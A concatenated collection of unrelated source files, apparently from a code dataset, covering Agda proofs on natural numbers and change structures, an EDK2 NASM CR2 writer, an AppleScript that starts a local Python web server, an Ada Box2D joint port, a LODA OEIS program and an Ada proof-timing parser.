≡⟨ cong₂ _+_ eq refl ⟩ (1 + y + i) * n + y * n ≡⟨ solve 3 (λ y i n → (con 1 :+ y :+ i) :* n :+ y :* n := (con 1 :+ con 2 :* y :+ i) :* n) refl y i n ⟩ (1 + 2 * y + i) * n ∎ private distrib-comm = solve 3 (λ x k n → x :* k :+ x :* n := x :* (n :+ k)) refl lem₅ : ∀ d x {n k} → d + x * n ≡ x * k → d + 2 * x * n ≡ x * (n + k) lem₅ d x {n} {k} eq = begin d + 2 * x * n ≡⟨ solve 3 (λ d x n → d :+ con 2 :* x :* n := d :+ x :* n :+ x :* n) refl d x n ⟩ d + x * n + x * n ≡⟨ cong₂ _+_ eq refl ⟩ x * k + x * n ≡⟨ distrib-comm x k n ⟩ x * (n + k) ∎ lem₆ : ∀ d x {n i k} → d + x * n ≡ (1 + x + i) * k → d + (1 + 2 * x + i) * n ≡ (1 + x + i) * (n + k) lem₆ d x {n} {i} {k} eq = begin d + (1 + 2 * x + i) * n ≡⟨ solve 4 (λ d x i n → d :+ (con 1 :+ con 2 :* x :+ i) :* n := d :+ x :* n :+ (con 1 :+ x :+ i) :* n) refl d x i n ⟩ d + x * n + y * n ≡⟨ cong₂ _+_ eq refl ⟩ y * k + y * n ≡⟨ distrib-comm y k n ⟩ y * (n + k) ∎ where y = 1 + x + i lem₇ : ∀ d y {i} n {k} → d + (1 + y + i) * n ≡ y * k → d + (1 + 2 * y + i) * n ≡ y * (n + k) lem₇ d y {i} n {k} eq = begin d + (1 + 2 * y + i) * n ≡⟨ solve 4 (λ d y i n → d :+ (con 1 :+ con 2 :* y :+ i) :* n := d :+ (con 1 :+ y :+ i) :* n :+ y :* n) refl d y i n ⟩ d + (1 + y + i) * n + y * n ≡⟨ cong₂ _+_ eq refl ⟩ y * k + y * n ≡⟨ distrib-comm y k n ⟩ y * (n + k) ∎ lem₈ : ∀ {i j k q} x y → 1 + y * j ≡ x * i → j * k ≡ q * i → k ≡ (x * k ∸ y * q) * i lem₈ {i} {j} {k} {q} x y eq eq′ = sym (NatProp.im≡jm+n⇒[i∸j]m≡n (x * k) (y * q) i k lemma) where lemma = begin x * k * i ≡⟨ solve 3 (λ x k i → x :* k :* i := x :* i :* k) refl x k i ⟩ x * i * k ≡⟨ cong (λ n → n * k) (sym eq) ⟩ (1 + y * j) * k ≡⟨ solve 3 (λ y j k → (con 1 :+ y :* j) :* k := y :* (j :* k) :+ k) refl y j k ⟩ y * (j * k) + k ≡⟨ cong (λ n → y * n + k) eq′ ⟩ y * (q * i) + k ≡⟨ solve 4 (λ y q i k → y :* (q :* i) :+ k := y :* q :* i :+ k) refl y q i k ⟩ y * q * i + k ∎ lem₉ : ∀ {i j k q} x y → 1 + x * i ≡ y * j → j * k ≡ q * i → k ≡ (y * q ∸ x * k) * i lem₉ {i} {j} {k} {q} x y eq eq′ = sym (NatProp.im≡jm+n⇒[i∸j]m≡n (y * q) (x * k) i k lemma) where lem = solve 3 (λ a b c → a :* b :* c := b :* c :* a) refl lemma = begin y * q * i ≡⟨ lem y q i ⟩ q * i * y ≡⟨ cong (λ n → n * y) (sym eq′) ⟩ j * k * y ≡⟨ sym (lem y j k) ⟩ y * j * k ≡⟨ cong (λ n → n * k) (sym eq) ⟩ (1 + x * i) * k ≡⟨ solve 3 (λ x i k → (con 1 :+ x :* i) :* k := x :* k :* i :+ k) refl x i k ⟩ x * k * i + k ∎ lem₁₀ : ∀ {a′} b c {d} e f → let a = suc a′ in a + b * (c * d * a) ≡ e * (f * d * a) → d ≡ 1 lem₁₀ {a′} b c {d} e f eq = NatProp.i*j≡1⇒j≡1 (e * f ∸ b * c) d (NatProp.im≡jm+n⇒[i∸j]m≡n (e * f) (b * c) d 1 (NatProp.cancel-*-right (e * f * d) (b * c * d + 1) (begin e * f * d * a ≡⟨ solve 4 (λ e f d a → e :* f :* d :* a := e :* (f :* d :* a)) refl e f d a ⟩ e * (f * d * a) ≡⟨ sym eq ⟩ a + b * (c * d * a) ≡⟨ solve 4 (λ a b c d → a :+ b :* (c :* d :* a) := (b :* c :* d :+ con 1) :* a) refl a b c d ⟩ (b * c * d + 1) * a ∎))) where a = suc a′ lem₁₁ : ∀ {i j m n k d} x y → 1 + y * j ≡ x * i → i * k ≡ m * d → j * k ≡ n * d → k ≡ (x * m ∸ y * n) * d lem₁₁ {i} {j} {m} {n} {k} {d} x y eq eq₁ eq₂ = sym (NatProp.im≡jm+n⇒[i∸j]m≡n (x * m) (y * n) d k lemma) where assoc = solve 3 (λ x y z → x :* y :* z := x :* (y :* z)) refl lemma = begin x * m * d ≡⟨ assoc x m d ⟩ x * (m * d) ≡⟨ cong (_*_ x) (sym eq₁) ⟩ x * (i * k) ≡⟨ sym (assoc x i k) ⟩ x * i * k ≡⟨ cong₂ _*_ (sym eq) refl ⟩ (1 + y * j) * k ≡⟨ solve 3 (λ y j k → (con 1 :+ y :* j) :* k := y :* (j :* k) :+ k) refl y j k ⟩ y * (j * k) + k ≡⟨ cong (λ p → y * p + k) eq₂ ⟩ y * (n * d) + k ≡⟨ cong₂ _+_ (sym $ assoc y n d) refl ⟩ y * n * d + k ∎
MdePkg/Library/BaseLib/Ia32/WriteCr2.nasm
kokweich/slimbootloader
9
595
<filename>MdePkg/Library/BaseLib/Ia32/WriteCr2.nasm ;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; WriteCr2.Asm ; ; Abstract: ; ; AsmWriteCr2 function ; ; Notes: ; ;------------------------------------------------------------------------------ SECTION .text ;------------------------------------------------------------------------------ ; UINTN ; EFIAPI ; AsmWriteCr2 ( ; UINTN Cr2 ; ); ;------------------------------------------------------------------------------ global ASM_PFX(AsmWriteCr2) ASM_PFX(AsmWriteCr2): mov eax, [esp + 4] mov cr2, eax ret
start-web-server-on-macos.scpt
chai2010/gopherchina2018-cgo-talk
331
1207
<gh_stars>100-1000 # Copyright 2018 <<EMAIL>>. All rights reserved. # Use of this source code is governed by a BSD-style # license that can be found in the LICENSE file. tell application "Finder" set currentDir to POSIX path of ((container of (path to me)) as text) end tell tell application "Terminal" to activate tell application "Terminal" do script ("cd '" & currentDir & "'") do script ("python -m SimpleHTTPServer 8081") in front window end tell
3-mid/impact/source/2d/dynamics/joints/impact-d2-joint-revolute.adb
charlie5/lace
20
26259
<filename>3-mid/impact/source/2d/dynamics/joints/impact-d2-joint-revolute.adb<gh_stars>10-100 package body impact.d2.Joint.revolute is -- #include <Box2D/Dynamics/Joints/b2RevoluteJoint.h> -- #include <Box2D/Dynamics/b2Body.h> -- #include <Box2D/Dynamics/b2TimeStep.h> -- -- // Point-to-point constraint -- // C = p2 - p1 -- // Cdot = v2 - v1 -- // = v2 + cross(w2, r2) - v1 - cross(w1, r1) -- // J = [-I -r1_skew I r2_skew ] -- // Identity used: -- // w k % (rx i + ry j) = w * (-ry i + rx j) -- -- // Motor constraint -- // Cdot = w2 - w1 -- // J = [0 0 -1 0 0 1] -- // K = invI1 + invI2 -- -- void b2RevoluteJointDef::Initialize(b2Body* b1, b2Body* b2, const b2Vec2& anchor) -- { -- bodyA = b1; -- bodyB = b2; -- localAnchorA = bodyA->GetLocalPoint(anchor); -- localAnchorB = bodyB->GetLocalPoint(anchor); -- referenceAngle = bodyB->GetAngle() - bodyA->GetAngle(); -- } -- -- b2RevoluteJoint::b2RevoluteJoint(const b2RevoluteJointDef* def) -- : b2Joint(def) -- { -- m_localAnchor1 = def->localAnchorA; -- m_localAnchor2 = def->localAnchorB; -- m_referenceAngle = def->referenceAngle; -- -- m_impulse.SetZero(); -- m_motorImpulse = 0.0f; -- -- m_lowerAngle = def->lowerAngle; -- m_upperAngle = def->upperAngle; -- m_maxMotorTorque = def->maxMotorTorque; -- m_motorSpeed = def->motorSpeed; -- m_enableLimit = def->enableLimit; -- m_enableMotor = def->enableMotor; -- m_limitState = e_inactiveLimit; -- } -- -- void b2RevoluteJoint::InitVelocityConstraints(const b2TimeStep& step) -- { -- b2Body* b1 = m_bodyA; -- b2Body* b2 = m_bodyB; -- -- if (m_enableMotor || m_enableLimit) -- { -- // You cannot create a rotation limit between bodies that -- // both have fixed rotation. -- b2Assert(b1->m_invI > 0.0f || b2->m_invI > 0.0f); -- } -- -- // Compute the effective mass matrix. -- b2Vec2 r1 = b2Mul(b1->GetTransform().R, m_localAnchor1 - b1->GetLocalCenter()); -- b2Vec2 r2 = b2Mul(b2->GetTransform().R, m_localAnchor2 - b2->GetLocalCenter()); -- -- // J = [-I -r1_skew I r2_skew] -- // [ 0 -1 0 1] -- // r_skew = [-ry; rx] -- -- // Matlab -- // K = [ m1+r1y^2*i1+m2+r2y^2*i2, -r1y*i1*r1x-r2y*i2*r2x, -r1y*i1-r2y*i2] -- // [ -r1y*i1*r1x-r2y*i2*r2x, m1+r1x^2*i1+m2+r2x^2*i2, r1x*i1+r2x*i2] -- // [ -r1y*i1-r2y*i2, r1x*i1+r2x*i2, i1+i2] -- -- float32 m1 = b1->m_invMass, m2 = b2->m_invMass; -- float32 i1 = b1->m_invI, i2 = b2->m_invI; -- -- m_mass.col1.x = m1 + m2 + r1.y * r1.y * i1 + r2.y * r2.y * i2; -- m_mass.col2.x = -r1.y * r1.x * i1 - r2.y * r2.x * i2; -- m_mass.col3.x = -r1.y * i1 - r2.y * i2; -- m_mass.col1.y = m_mass.col2.x; -- m_mass.col2.y = m1 + m2 + r1.x * r1.x * i1 + r2.x * r2.x * i2; -- m_mass.col3.y = r1.x * i1 + r2.x * i2; -- m_mass.col1.z = m_mass.col3.x; -- m_mass.col2.z = m_mass.col3.y; -- m_mass.col3.z = i1 + i2; -- -- m_motorMass = i1 + i2; -- if (m_motorMass > 0.0f) -- { -- m_motorMass = 1.0f / m_motorMass; -- } -- -- if (m_enableMotor == false) -- { -- m_motorImpulse = 0.0f; -- } -- -- if (m_enableLimit) -- { -- float32 jointAngle = b2->m_sweep.a - b1->m_sweep.a - m_referenceAngle; -- if (b2Abs(m_upperAngle - m_lowerAngle) < 2.0f * b2_angularSlop) -- { -- m_limitState = e_equalLimits; -- } -- else if (jointAngle <= m_lowerAngle) -- { -- if (m_limitState != e_atLowerLimit) -- { -- m_impulse.z = 0.0f; -- } -- m_limitState = e_atLowerLimit; -- } -- else if (jointAngle >= m_upperAngle) -- { -- if (m_limitState != e_atUpperLimit) -- { -- m_impulse.z = 0.0f; -- } -- m_limitState = e_atUpperLimit; -- } -- else -- { -- m_limitState = e_inactiveLimit; -- m_impulse.z = 0.0f; -- } -- } -- else -- { -- m_limitState = e_inactiveLimit; -- } -- -- if (step.warmStarting) -- { -- // Scale impulses to support a variable time step. -- m_impulse *= step.dtRatio; -- m_motorImpulse *= step.dtRatio; -- -- b2Vec2 P(m_impulse.x, m_impulse.y); -- -- b1->m_linearVelocity -= m1 * P; -- b1->m_angularVelocity -= i1 * (b2Cross(r1, P) + m_motorImpulse + m_impulse.z); -- -- b2->m_linearVelocity += m2 * P; -- b2->m_angularVelocity += i2 * (b2Cross(r2, P) + m_motorImpulse + m_impulse.z); -- } -- else -- { -- m_impulse.SetZero(); -- m_motorImpulse = 0.0f; -- } -- } -- -- void b2RevoluteJoint::SolveVelocityConstraints(const b2TimeStep& step) -- { -- b2Body* b1 = m_bodyA; -- b2Body* b2 = m_bodyB; -- -- b2Vec2 v1 = b1->m_linearVelocity; -- float32 w1 = b1->m_angularVelocity; -- b2Vec2 v2 = b2->m_linearVelocity; -- float32 w2 = b2->m_angularVelocity; -- -- float32 m1 = b1->m_invMass, m2 = b2->m_invMass; -- float32 i1 = b1->m_invI, i2 = b2->m_invI; -- -- // Solve motor constraint. -- if (m_enableMotor && m_limitState != e_equalLimits) -- { -- float32 Cdot = w2 - w1 - m_motorSpeed; -- float32 impulse = m_motorMass * (-Cdot); -- float32 oldImpulse = m_motorImpulse; -- float32 maxImpulse = step.dt * m_maxMotorTorque; -- m_motorImpulse = b2Clamp(m_motorImpulse + impulse, -maxImpulse, maxImpulse); -- impulse = m_motorImpulse - oldImpulse; -- -- w1 -= i1 * impulse; -- w2 += i2 * impulse; -- } -- -- // Solve limit constraint. -- if (m_enableLimit && m_limitState != e_inactiveLimit) -- { -- b2Vec2 r1 = b2Mul(b1->GetTransform().R, m_localAnchor1 - b1->GetLocalCenter()); -- b2Vec2 r2 = b2Mul(b2->GetTransform().R, m_localAnchor2 - b2->GetLocalCenter()); -- -- // Solve point-to-point constraint -- b2Vec2 Cdot1 = v2 + b2Cross(w2, r2) - v1 - b2Cross(w1, r1); -- float32 Cdot2 = w2 - w1; -- b2Vec3 Cdot(Cdot1.x, Cdot1.y, Cdot2); -- -- b2Vec3 impulse = m_mass.Solve33(-Cdot); -- -- if (m_limitState == e_equalLimits) -- { -- m_impulse += impulse; -- } -- else if (m_limitState == e_atLowerLimit) -- { -- float32 newImpulse = m_impulse.z + impulse.z; -- if (newImpulse < 0.0f) -- { -- b2Vec2 reduced = m_mass.Solve22(-Cdot1); -- impulse.x = reduced.x; -- impulse.y = reduced.y; -- impulse.z = -m_impulse.z; -- m_impulse.x += reduced.x; -- m_impulse.y += reduced.y; -- m_impulse.z = 0.0f; -- } -- } -- else if (m_limitState == e_atUpperLimit) -- { -- float32 newImpulse = m_impulse.z + impulse.z; -- if (newImpulse > 0.0f) -- { -- b2Vec2 reduced = m_mass.Solve22(-Cdot1); -- impulse.x = reduced.x; -- impulse.y = reduced.y; -- impulse.z = -m_impulse.z; -- m_impulse.x += reduced.x; -- m_impulse.y += reduced.y; -- m_impulse.z = 0.0f; -- } -- } -- -- b2Vec2 P(impulse.x, impulse.y); -- -- v1 -= m1 * P; -- w1 -= i1 * (b2Cross(r1, P) + impulse.z); -- -- v2 += m2 * P; -- w2 += i2 * (b2Cross(r2, P) + impulse.z); -- } -- else -- { -- b2Vec2 r1 = b2Mul(b1->GetTransform().R, m_localAnchor1 - b1->GetLocalCenter()); -- b2Vec2 r2 = b2Mul(b2->GetTransform().R, m_localAnchor2 - b2->GetLocalCenter()); -- -- // Solve point-to-point constraint -- b2Vec2 Cdot = v2 + b2Cross(w2, r2) - v1 - b2Cross(w1, r1); -- b2Vec2 impulse = m_mass.Solve22(-Cdot); -- -- m_impulse.x += impulse.x; -- m_impulse.y += impulse.y; -- -- v1 -= m1 * impulse; -- w1 -= i1 * b2Cross(r1, impulse); -- -- v2 += m2 * impulse; -- w2 += i2 * b2Cross(r2, impulse); -- } -- -- b1->m_linearVelocity = v1; -- b1->m_angularVelocity = w1; -- b2->m_linearVelocity = v2; -- b2->m_angularVelocity = w2; -- } -- -- bool b2RevoluteJoint::SolvePositionConstraints(float32 baumgarte) -- { -- // TODO_ERIN block solve with limit. -- -- B2_NOT_USED(baumgarte); -- -- b2Body* b1 = m_bodyA; -- b2Body* b2 = m_bodyB; -- -- float32 angularError = 0.0f; -- float32 positionError = 0.0f; -- -- // Solve angular limit constraint. -- if (m_enableLimit && m_limitState != e_inactiveLimit) -- { -- float32 angle = b2->m_sweep.a - b1->m_sweep.a - m_referenceAngle; -- float32 limitImpulse = 0.0f; -- -- if (m_limitState == e_equalLimits) -- { -- // Prevent large angular corrections -- float32 C = b2Clamp(angle - m_lowerAngle, -b2_maxAngularCorrection, b2_maxAngularCorrection); -- limitImpulse = -m_motorMass * C; -- angularError = b2Abs(C); -- } -- else if (m_limitState == e_atLowerLimit) -- { -- float32 C = angle - m_lowerAngle; -- angularError = -C; -- -- // Prevent large angular corrections and allow some slop. -- C = b2Clamp(C + b2_angularSlop, -b2_maxAngularCorrection, 0.0f); -- limitImpulse = -m_motorMass * C; -- } -- else if (m_limitState == e_atUpperLimit) -- { -- float32 C = angle - m_upperAngle; -- angularError = C; -- -- // Prevent large angular corrections and allow some slop. -- C = b2Clamp(C - b2_angularSlop, 0.0f, b2_maxAngularCorrection); -- limitImpulse = -m_motorMass * C; -- } -- -- b1->m_sweep.a -= b1->m_invI * limitImpulse; -- b2->m_sweep.a += b2->m_invI * limitImpulse; -- -- b1->SynchronizeTransform(); -- b2->SynchronizeTransform(); -- } -- -- // Solve point-to-point constraint. -- { -- b2Vec2 r1 = b2Mul(b1->GetTransform().R, m_localAnchor1 - b1->GetLocalCenter()); -- b2Vec2 r2 = b2Mul(b2->GetTransform().R, m_localAnchor2 - b2->GetLocalCenter()); -- -- b2Vec2 C = b2->m_sweep.c + r2 - b1->m_sweep.c - r1; -- positionError = C.Length(); -- -- float32 invMass1 = b1->m_invMass, invMass2 = b2->m_invMass; -- float32 invI1 = b1->m_invI, invI2 = b2->m_invI; -- -- // Handle large detachment. -- const float32 k_allowedStretch = 10.0f * b2_linearSlop; -- if (C.LengthSquared() > k_allowedStretch * k_allowedStretch) -- { -- // Use a particle solution (no rotation). -- b2Vec2 u = C; u.Normalize(); -- float32 m = invMass1 + invMass2; -- if (m > 0.0f) -- { -- m = 1.0f / m; -- } -- b2Vec2 impulse = m * (-C); -- const float32 k_beta = 0.5f; -- b1->m_sweep.c -= k_beta * invMass1 * impulse; -- b2->m_sweep.c += k_beta * invMass2 * impulse; -- -- C = b2->m_sweep.c + r2 - b1->m_sweep.c - r1; -- } -- -- b2Mat22 K1; -- K1.col1.x = invMass1 + invMass2; K1.col2.x = 0.0f; -- K1.col1.y = 0.0f; K1.col2.y = invMass1 + invMass2; -- -- b2Mat22 K2; -- K2.col1.x = invI1 * r1.y * r1.y; K2.col2.x = -invI1 * r1.x * r1.y; -- K2.col1.y = -invI1 * r1.x * r1.y; K2.col2.y = invI1 * r1.x * r1.x; -- -- b2Mat22 K3; -- K3.col1.x = invI2 * r2.y * r2.y; K3.col2.x = -invI2 * r2.x * r2.y; -- K3.col1.y = -invI2 * r2.x * r2.y; K3.col2.y = invI2 * r2.x * r2.x; -- -- b2Mat22 K = K1 + K2 + K3; -- b2Vec2 impulse = K.Solve(-C); -- -- b1->m_sweep.c -= b1->m_invMass * impulse; -- b1->m_sweep.a -= b1->m_invI * b2Cross(r1, impulse); -- -- b2->m_sweep.c += b2->m_invMass * impulse; -- b2->m_sweep.a += b2->m_invI * b2Cross(r2, impulse); -- -- b1->SynchronizeTransform(); -- b2->SynchronizeTransform(); -- } -- -- return positionError <= b2_linearSlop && angularError <= b2_angularSlop; -- } -- -- b2Vec2 b2RevoluteJoint::GetAnchorA() const -- { -- return m_bodyA->GetWorldPoint(m_localAnchor1); -- } -- -- b2Vec2 b2RevoluteJoint::GetAnchorB() const -- { -- return m_bodyB->GetWorldPoint(m_localAnchor2); -- } -- -- b2Vec2 b2RevoluteJoint::GetReactionForce(float32 inv_dt) const -- { -- b2Vec2 P(m_impulse.x, m_impulse.y); -- return inv_dt * P; -- } -- -- float32 b2RevoluteJoint::GetReactionTorque(float32 inv_dt) const -- { -- return inv_dt * m_impulse.z; -- } -- -- float32 b2RevoluteJoint::GetJointAngle() const -- { -- b2Body* b1 = m_bodyA; -- b2Body* b2 = m_bodyB; -- return b2->m_sweep.a - b1->m_sweep.a - m_referenceAngle; -- } -- -- float32 b2RevoluteJoint::GetJointSpeed() const -- { -- b2Body* b1 = m_bodyA; -- b2Body* b2 = m_bodyB; -- return b2->m_angularVelocity - b1->m_angularVelocity; -- } -- -- bool b2RevoluteJoint::IsMotorEnabled() const -- { -- return m_enableMotor; -- } -- -- void b2RevoluteJoint::EnableMotor(bool flag) -- { -- m_bodyA->SetAwake(true); -- m_bodyB->SetAwake(true); -- m_enableMotor = flag; -- } -- -- float32 b2RevoluteJoint::GetMotorTorque() const -- { -- return m_motorImpulse; -- } -- -- void b2RevoluteJoint::SetMotorSpeed(float32 speed) -- { -- m_bodyA->SetAwake(true); -- m_bodyB->SetAwake(true); -- m_motorSpeed = speed; -- } -- -- void b2RevoluteJoint::SetMaxMotorTorque(float32 torque) -- { -- m_bodyA->SetAwake(true); -- m_bodyB->SetAwake(true); -- m_maxMotorTorque = torque; -- } -- -- bool b2RevoluteJoint::IsLimitEnabled() const -- { -- return m_enableLimit; -- } -- -- void b2RevoluteJoint::EnableLimit(bool flag) -- { -- m_bodyA->SetAwake(true); -- m_bodyB->SetAwake(true); -- m_enableLimit = flag; -- } -- -- float32 b2RevoluteJoint::GetLowerLimit() const -- { -- return m_lowerAngle; -- } -- -- float32 b2RevoluteJoint::GetUpperLimit() const -- { -- return m_upperAngle; -- } -- -- void b2RevoluteJoint::SetLimits(float32 lower, float32 upper) -- { -- b2Assert(lower <= upper); -- m_bodyA->SetAwake(true); -- m_bodyB->SetAwake(true); -- m_lowerAngle = lower; -- m_upperAngle = upper; -- } procedure dummy is begin null; end dummy; end impact.d2.Joint.revolute;
oeis/244/A244149.asm
neoneye/loda-programs
11
172221
<gh_stars>10-100 ; A244149: a(n) = 2*(n*Denominator(((n-1)*(n^2)+2^(n+1)-4)/(2*n))-n)/n+1. ; Submitted by <NAME> ; 1,1,1,3,1,5,1,7,5,9,1,11,1,13,9,15,1,17,1,19,13,21,1,23,9,25,17,3,1,29,1,31,21,33,69,35,1,37,25,39,1,41,1,43,5,45,1,47,13,49,33,51,1,53,109,55,37,57,1,59,1,61,41,63,25,65,1,67,45,9,1,71,1,73,49,75,153,77,1,79 mov $1,$0 seq $1,214606 ; a(n) = gcd(n, 2^n - 2). div $0,$1 mul $0,2 add $0,1
src/spat-timing_item.adb
yannickmoy/spat
0
20375
<reponame>yannickmoy/spat<filename>src/spat-timing_item.adb ------------------------------------------------------------------------------ -- Copyright (C) 2020 by Heisenbug Ltd. (<EMAIL>) -- -- This work is free. You can redistribute it and/or modify it under the -- terms of the Do What The Fuck You Want To Public License, Version 2, -- as published by Sam Hocevar. See the LICENSE file for more details. ------------------------------------------------------------------------------ pragma License (Unrestricted); with Ada.Strings.Fixed; package body SPAT.Timing_Item is --------------------------------------------------------------------------- -- Create --------------------------------------------------------------------------- not overriding function Create (Object : in JSON_Value; Version : in File_Version) return T is Proof_Time : Duration; begin case Version is when GNAT_CE_2019 => Proof_Time := Duration (Object.Get_Long_Float (Field => Field_Names.Proof)); when GNAT_CE_2020 => declare -- Callback when mapping the timing object. If the name of the -- JSON value matches "gnatwhy3." we assume it's a timing value -- that should be added to the proof time. --------------------------------------------------------------- -- Add_Why3_Time --------------------------------------------------------------- procedure Add_Why3_Time (Name : in UTF8_String; Value : in JSON_Value); --------------------------------------------------------------- -- Add_Why3_Time --------------------------------------------------------------- procedure Add_Why3_Time (Name : in UTF8_String; Value : in JSON_Value) is begin if Ada.Strings.Fixed.Index (Source => Name, Pattern => Field_Names.GNAT_Why3_Prefixed) = 1 then Proof_Time := Proof_Time + Duration (Value.Get_Long_Float); end if; end Add_Why3_Time; begin Proof_Time := 0.0; GNATCOLL.JSON.Map_JSON_Object (Val => Object, CB => Add_Why3_Time'Access); end; end case; return T'(Entity.T with Version => Version, Proof => Proof_Time, Flow => Duration (Object.Get_Long_Float (Field => Field_Names.Flow_Analysis))); end Create; -- TODO: Maybe accept integer values, too. end SPAT.Timing_Item;
Thesis/Changes.agda
inc-lc/ilc-agda
10
17314
<gh_stars>1-10 module Thesis.Changes where open import Data.Product open import Data.Sum open import Data.Unit open import Relation.Binary.PropositionalEquality record IsChangeStructure (A : Set) (ChA : Set) (ch_from_to_ : (dv : ChA) → (v1 v2 : A) → Set) : Set₁ where infixl 6 _⊕_ _⊝_ field _⊕_ : A → ChA → A fromto→⊕ : ∀ dv v1 v2 → ch dv from v1 to v2 → v1 ⊕ dv ≡ v2 _⊝_ : A → A → ChA ⊝-fromto : ∀ (a b : A) → ch (b ⊝ a) from a to b update-diff : (b a : A) → a ⊕ (b ⊝ a) ≡ b update-diff b a = fromto→⊕ (b ⊝ a) a b (⊝-fromto a b) nil : A → ChA nil a = a ⊝ a nil-fromto : (a : A) → ch (nil a) from a to a nil-fromto a = ⊝-fromto a a update-nil : (a : A) → a ⊕ nil a ≡ a update-nil a = update-diff a a valid : ∀ (a : A) (da : ChA) → Set valid a da = ch da from a to (a ⊕ da) Δ₁ : (a : A) → Set Δ₁ a = Σ[ da ∈ ChA ] valid a da Δ₂ : (a1 : A) (a2 : A) → Set Δ₂ a1 a2 = Σ[ da ∈ ChA ] ch da from a1 to a2 _⊕'_ : (a1 : A) -> {a2 : A} -> (da : Δ₂ a1 a2) -> A a1 ⊕' (da , daa) = a1 ⊕ da record IsCompChangeStructure (A : Set) (ChA : Set) (ch_from_to_ : (dv : ChA) → (v1 v2 : A) → Set) : Set₁ where field isChangeStructure : IsChangeStructure A ChA ch_from_to_ _⊚_ : ChA → ChA → ChA ⊚-fromto : ∀ (a1 a2 a3 : A) (da1 da2 : ChA) → ch da1 from a1 to a2 → ch da2 from a2 to a3 → ch da1 ⊚ da2 from a1 to a3 open IsChangeStructure isChangeStructure public ⊚-correct : ∀ (a1 a2 a3 : A) (da1 da2 : ChA) → ch da1 from a1 to a2 → ch da2 from a2 to a3 → a1 ⊕ (da1 ⊚ da2) ≡ a3 ⊚-correct a1 a2 a3 da1 da2 daa1 daa2 = fromto→⊕ _ _ _ (⊚-fromto _ _ _ da1 da2 daa1 daa2) record ChangeStructure (A : Set) : Set₁ where field Ch : Set ch_from_to_ : (dv : Ch) → (v1 v2 : A) → Set isCompChangeStructure : IsCompChangeStructure A Ch ch_from_to_ open IsCompChangeStructure isCompChangeStructure public open ChangeStructure {{...}} public hiding (Ch) Ch : ∀ (A : Set) → {{CA : ChangeStructure A}} → Set Ch A {{CA}} = ChangeStructure.Ch CA -- infix 2 Σ-syntax -- Σ-syntax : ∀ {a b} (A : Set a) → (A → Set b) → Set (a ⊔ b) -- Σ-syntax = Σ -- syntax Σ-syntax A (λ x → B) = Σ[ x ∈ A ] B ⊚-syntax : ∀ (A : Set) → {{CA : ChangeStructure A}} → Ch A → Ch A → Ch A ⊚-syntax A {{CA}} da1 da2 = _⊚_ {{CA}} da1 da2 syntax ⊚-syntax A da1 da2 = da1 ⊚[ A ] da2 {-# DISPLAY IsChangeStructure._⊕_ x = _⊕_ #-} {-# DISPLAY ChangeStructure._⊕_ x = _⊕_ #-} {-# DISPLAY IsChangeStructure._⊝_ x = _⊝_ #-} {-# DISPLAY ChangeStructure._⊝_ x = _⊝_ #-} {-# DISPLAY IsChangeStructure.nil x = nil #-} {-# DISPLAY ChangeStructure.nil x = nil #-} {-# DISPLAY IsCompChangeStructure._⊚_ x = _⊚_ #-} {-# DISPLAY ChangeStructure._⊚_ x = _⊚_ #-} {-# DISPLAY ChangeStructure.ch_from_to_ x = ch_from_to_ #-} module _ {A B : Set} {{CA : ChangeStructure A}} {{CB : ChangeStructure B}} where -- In this module, given change structures CA and CB for A and B, we define -- change structures for A → B, A × B and A ⊎ B. open import Postulate.Extensionality -- Functions instance funCS : ChangeStructure (A → B) infixl 6 _f⊕_ _f⊝_ private fCh = A → Ch A → Ch B fCh_from_to_ : (df : fCh) → (f1 f2 : A → B) → Set fCh_from_to_ = λ df f1 f2 → ∀ da (a1 a2 : A) (daa : ch da from a1 to a2) → ch df a1 da from f1 a1 to f2 a2 _f⊕_ : (A → B) → fCh → A → B _f⊕_ = λ f df a → f a ⊕ df a (nil a) _f⊝_ : (g f : A → B) → fCh _f⊝_ = λ g f a da → g (a ⊕ da) ⊝ f a f⊝-fromto : ∀ (f1 f2 : A → B) → fCh (f2 f⊝ f1) from f1 to f2 f⊝-fromto f1 f2 da a1 a2 daa rewrite sym (fromto→⊕ da a1 a2 daa) = ⊝-fromto (f1 a1) (f2 (a1 ⊕ da)) _f⊚_ : fCh → fCh → fCh _f⊚_ df1 df2 = λ a da → df1 a (nil a) ⊚[ B ] df2 a da _f2⊚_ : fCh → fCh → fCh _f2⊚_ df1 df2 = λ a da → df1 a da ⊚[ B ] df2 (a ⊕ da) (nil (a ⊕ da)) f⊚-fromto : ∀ (f1 f2 f3 : A → B) (df1 df2 : fCh) → fCh df1 from f1 to f2 → fCh df2 from f2 to f3 → fCh df1 f⊚ df2 from f1 to f3 f⊚-fromto f1 f2 f3 df1 df2 dff1 dff2 da a1 a2 daa = ⊚-fromto (f1 a1) (f2 a1) (f3 a2) (df1 a1 (nil a1)) (df2 a1 da) (dff1 (nil a1) a1 a1 (nil-fromto a1)) (dff2 da a1 a2 daa) f⊚2-fromto : ∀ (f1 f2 f3 : A → B) (df1 df2 : fCh) → fCh df1 from f1 to f2 → fCh df2 from f2 to f3 → fCh df1 f2⊚ df2 from f1 to f3 f⊚2-fromto f1 f2 f3 df1 df2 dff1 dff2 da a1 a2 daa rewrite fromto→⊕ da a1 a2 daa = ⊚-fromto (f1 a1) (f2 a2) (f3 a2) (df1 a1 da) (df2 a2 (nil a2)) (dff1 da a1 a2 daa) (dff2 (nil a2) a2 a2 (nil-fromto a2)) funCS = record { Ch = fCh ; ch_from_to_ = λ df f1 f2 → ∀ da (a1 a2 : A) (daa : ch da from a1 to a2) → ch df a1 da from f1 a1 to f2 a2 ; isCompChangeStructure = record { isChangeStructure = record { _⊕_ = _f⊕_ ; fromto→⊕ = λ df f1 f2 dff → ext (λ v → fromto→⊕ (df v (nil v)) (f1 v) (f2 v) (dff (nil v) v v (nil-fromto v))) ; _⊝_ = _f⊝_ ; ⊝-fromto = f⊝-fromto } ; _⊚_ = _f⊚_ ; ⊚-fromto = f⊚-fromto } } -- Products private pCh = Ch A × Ch B _p⊕_ : A × B → Ch A × Ch B → A × B _p⊕_ (a , b) (da , db) = a ⊕ da , b ⊕ db _p⊝_ : A × B → A × B → pCh _p⊝_ (a2 , b2) (a1 , b1) = a2 ⊝ a1 , b2 ⊝ b1 pch_from_to_ : pCh → A × B → A × B → Set pch (da , db) from (a1 , b1) to (a2 , b2) = ch da from a1 to a2 × ch db from b1 to b2 _p⊚_ : pCh → pCh → pCh (da1 , db1) p⊚ (da2 , db2) = da1 